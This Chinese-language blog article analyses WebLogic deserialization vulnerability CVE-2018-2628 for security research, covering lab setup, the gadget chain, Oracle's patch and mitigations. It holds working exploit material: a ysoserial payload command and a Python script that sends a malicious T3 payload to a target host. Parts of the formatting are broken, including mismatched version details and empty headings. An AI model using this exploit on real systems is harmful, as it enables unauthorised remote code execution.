# 怎么實現Weblogic反序列化漏洞CVE-2018-2628的分析
## 一、漏洞概述
CVE-2018-2628是Oracle WebLogic Server中一個高危的Java反序列化漏洞,影響版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。該漏洞存在于WebLogic T3協議服務中,攻擊者通過構造惡意序列化數據,可在目標服務器上實現遠程代碼執行(RCE)。
### 漏洞原理
漏洞核心在于WebLogic默認啟用的T3協議對Java反序列化操作缺乏有效驗證。當攻擊者向T3服務端口(默認7001)發送精心構造的序列化對象時,可利用Apache Commons Collections庫中的Transformer鏈(Gadget Chain)觸發任意代碼執行。
## 二、環境搭建
### 1. 實驗環境要求
- 操作系統:Windows/Linux
- 漏洞版本:WebLogic 10.3.6.0
- JDK版本:1.6/1.7(需與WebLogic兼容)
- 工具準備:
- ysoserial(生成Payload)
- Wireshark(流量分析)
- BurpSuite(請求構造)
### 2. 環境部署步驟
```bash
# 下載WebLogic 10.3.6安裝包
wget https://download.oracle.com/otn/nt/middleware/12c/wls/1213/wls1213_dev.zip
# 安裝后啟動管理服務器
cd %DOMN_HOME%/bin
startWebLogic.cmd
nmap -sV -p 7001 192.168.1.100
t3 12.2.1\nAS:255\nHL:19\n\n
利用ysoserial生成CommonsCollections5的Gadget:
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin
通過Python腳本發送構造的T3協議數據包:
import socket
def exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# 發送T3協議頭
handshake = "t3 12.2.1\nAS:255\nHL:19\n\n".encode()
sock.sendall(handshake)
# 發送惡意序列化數據
sock.sendall(payload)
sock.close()
with open("payload.bin", "rb") as f:
exploit("192.168.1.100", 7001, f.read())
漏洞觸發位于weblogic.rjvm.InboundMsgAbbrev
類的readObject()
方法:
public Object readObject() throws IOException {
if (this.stream.available() > 0) {
return this.readObjectInternal();
}
}
完整的利用鏈如下:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
Oracle通過以下方式修復:
- 增加T3協議的黑名單過濾
- 更新FilterInputStream
的校驗邏輯
<!-- 關閉T3協議 -->
<security-configuration>
<enforce-valid-t3-protocol>true</enforce-valid-t3-protocol>
</security-configuration>
網絡層防護:
代碼層防護:
// 使用ObjectInputFilter驗證反序列化
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);
運維建議:
CVE-2018-2628暴露了企業中間件在協議實現中的安全隱患。通過本文分析可以看出: 1. 反序列化漏洞的危害性極高 2. 協議級別的安全驗證至關重要 3. 防御需要多層次防護體系
附錄: - Oracle官方公告 - CVE詳細記錄 “`
注:實際測試時請確保在授權環境下進行,本文僅作技術研究用途。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。